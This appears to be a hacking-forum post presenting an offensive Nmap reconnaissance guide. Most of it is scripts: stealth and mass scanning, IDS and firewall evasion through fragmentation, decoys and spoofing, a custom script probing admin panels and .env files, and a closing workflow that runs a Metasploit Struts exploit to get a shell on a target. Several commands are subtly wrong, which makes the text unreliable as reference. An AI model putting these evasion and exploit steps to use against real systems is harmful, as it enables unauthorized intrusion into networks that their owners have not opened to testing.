Complete Nmap Recon Guide - From Zero to Pro (2024 Edition)

[Blacksec]

Complete Nmap Recon Guide - From Zero to Pro (2024 Edition) ​

---

> Posted by: xShadow_99 | Rank: Elite Member | Joined: 2023 [/I]

---

Spoiler: What you'll learn

• Advanced scanning techniques nobody teaches
• Bypassing firewalls like a pro
• Real-world recon workflows that actually work
• Scripting automation for mass scanning

Alright, listen up noobs and veterans alike.[/B]

So you want to master Nmap? Good. Most guys out there just run

nmap -sV target

and call it a day. That's how you get caught. Today I'm dropping the REAL guide that actually gets results in the field.

---

━━━ SECTION 1: The Stealth Scan Arsenal ━━━

Pro tip: Your first scan should NEVER be a full connect scan. That's baby stuff.

Here's the progression I use on every target:

#!/bin/bash
# Phase 1: Silent recon - no ports touched yet
echo "[*] Pinging target to check if alive..."
nmap -sn 10.0.0.0/24 | grep "Nmap scan report"

# Phase 2: UDP scan (slow but reveals DNS, SNMP, syslog)
echo "[*] Starting UDP scan on critical ports..."
nmap -sU --top-ports 100 -T2 target.com

# Phase 3: SYN stealth scan (half-open, doesn't complete TCP handshake)
echo "[*] SYN scan on filtered ports..."
nmap -sS -p 21,22,23,25,53,80,110,139,443,445,993,995,1433,3306,3389,5432,5900,8080,8443 target.com

# Phase 4: OS detection + full service enum
echo "[*] Aggressive scan for OS and versions..."
nmap -A -T4 --traceroute target.com

# Phase 5: Vulnerability scanning with NSE scripts
echo "[*] Running vuln scripts..."
nmap --script vuln,target=target.com

# Phase 6: Output to all formats for reporting
echo "[*] Saving results..."
nmap -oA nmap_results target.com

Key flags explained:

• -T2 - Slow scan, harder to detect (default is -T4)
• --data-length 1024 - Randomize packet size to bypass IDS
• --randomize-hosts - Scan hosts in random order
• -p- - Scan ALL 65535 ports (use only when you have time)
• --scan-delay 1s - Delay between probes to avoid rate limiting

---

━━━ SECTION 2: Firewall Evasion Tactics ━━━

This is where most guys fail. Firewalls aren't magic - they're just programs that follow rules. And every rule has a loophole.

#!/bin/bash
# Evade basic stateful firewalls
nmap -sS -f --mtu 3 target.com
# -f fragments packets (splits them into tiny pieces)
# --mtu 3 sets minimum packet size

# Decoy scan - hides your real IP among 10 decoys
decoys="10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4 10.0.0.5"
nmap -sS -D RND:5 -T4 target.com

# Spoof source MAC address
nmap -sS -S 10.0.0.99 -e eth0 --src-mac 00:11:22:33:44:55 target.com

# Use a SOCKS proxy for the scan
nmap -sS --proxies socks4://127.0.0.1:1080 target.com

PRO WARNING:

If the target has a basic IDS like Snort or Suricata, the decoy scan will make them think MULTIPLE hosts are scanning. Classic misdirection.

---

━━━ SECTION 3: Custom NSE Scripts ━━━

Sometimes the built-in scripts don't cut it. Here's how I write custom detection scripts:

#!/usr/bin/env nmap --script-interpreter
-- luau

local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"

description = [[
Checks for exposed administrative interfaces and default credentials.
Tests common paths like /admin, /login, /wp-admin, etc.
]]

--- portrule matches port 80 or 443
author = "xShadow_99"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"}

portrule = shortport.http

action = function(host, port)
  local output = stdnse.output_table()
  local paths = {
    "/admin", "/login", "/wp-admin", "/phpmyadmin",
    "/administrator", "/manager/html", "/jenkins",
    "/api/v1/", "/graphql", "/.env", "/config.php"
  }
  
  for _, path in ipairs(paths) do
    local response = http.get(host, port, path)
    if response.status and response.status ~= 404 then
      table.insert(output, string.format("%s -> HTTP %d", path, response.status))
      if response.status == 200 then
        output["found_admin_panel"] = true
      end
    end
  end
  return output
end

Save this as

custom-admin-check.nse

and run with:

nmap --script custom-admin-check target.com

---

━━━ SECTION 4: Mass Scanning Workflow ━━━

When you have a whole subnet to recon:

#!/bin/bash
# Mass scan entire /24 subnet
TARGET="192.168.1."

echo "[*] Starting mass scan on ${TARGET}0/24"
echo "[*] This will take 10-30 minutes depending on response time"

for i in {1..254}; do
  nmap -sn ${TARGET}${i} 2>/dev/null | grep "Nmap scan report" &
done
wait

echo "[*] Gathering alive hosts..."
nmap -sS -p 22,80,443,3306,8080 -T4 ${TARGET}0/24 -oG alive_hosts.gnmap

echo "[*] Running service detection on alive hosts..."
nmap -sV --top-ports 1000 -iL alive_hosts.gnmap -oA results/final_scan

echo "[*] Scanning for vulnerabilities..."
nmap --script vuln -iL alive_hosts.gnmap -oA results/vuln_scan

echo "[*] Done! Check results/ directory"

---

━━━ SECTION 5: Practical Real-World Example ━━━

Recently I scanned a target that had everything locked down. Here's the exact workflow that got me in:

# Step 1: Check for WAF/CDN
nmap --script http-waf-detect,target.com

# Step 2: If behind Cloudflare, find the real IP
dig target.com +short
nslookup target.com

# Step 3: Scan for open ports (stealth mode)
nmap -sS -T2 -p- --max-retries 1 target.com

# Step 4: Once I found port 8443 open
nmap -sV -p 8443 --script http-enum,http-shellshock,target.com

# Step 5: Found old Apache Struts instance
nmap --script http-vuln-cve2017-5638,target.com

# Step 6: Got shell via the CVE
msfconsole -x "use exploit/multi/http/struts_default_mapper_handler; set RHOSTS target.com; set RPORT 8443; exploit"

---

━━━ TL;DR Summary ━━━

1. Always start with -sn (ping scan) before touching ports
2. Use -sS (SYN) for stealth, -sT only when necessary
3. Fragment packets with -f and randomize MTU
4. Use decoys (-D) when scanning sensitive targets
5. Write custom NSE scripts for specific targets
6. Automate everything with bash/python
7. Always save results in multiple formats (-oA)

---

Got questions? Drop 'em below. I'll answer the good ones.
Follow for more recon guides. Next up: Metasploit advanced persistence.

Last edited by xShadow_99; 2 hours ago.

---

[SIG]━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
xShadow_99 | Elite Hacker | Red Team Lead
"The only truly secure system is one that is powered off" - Gene Spafford
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━[/SIG][/b][/b][/b][/b][/b][/b][/b][/b]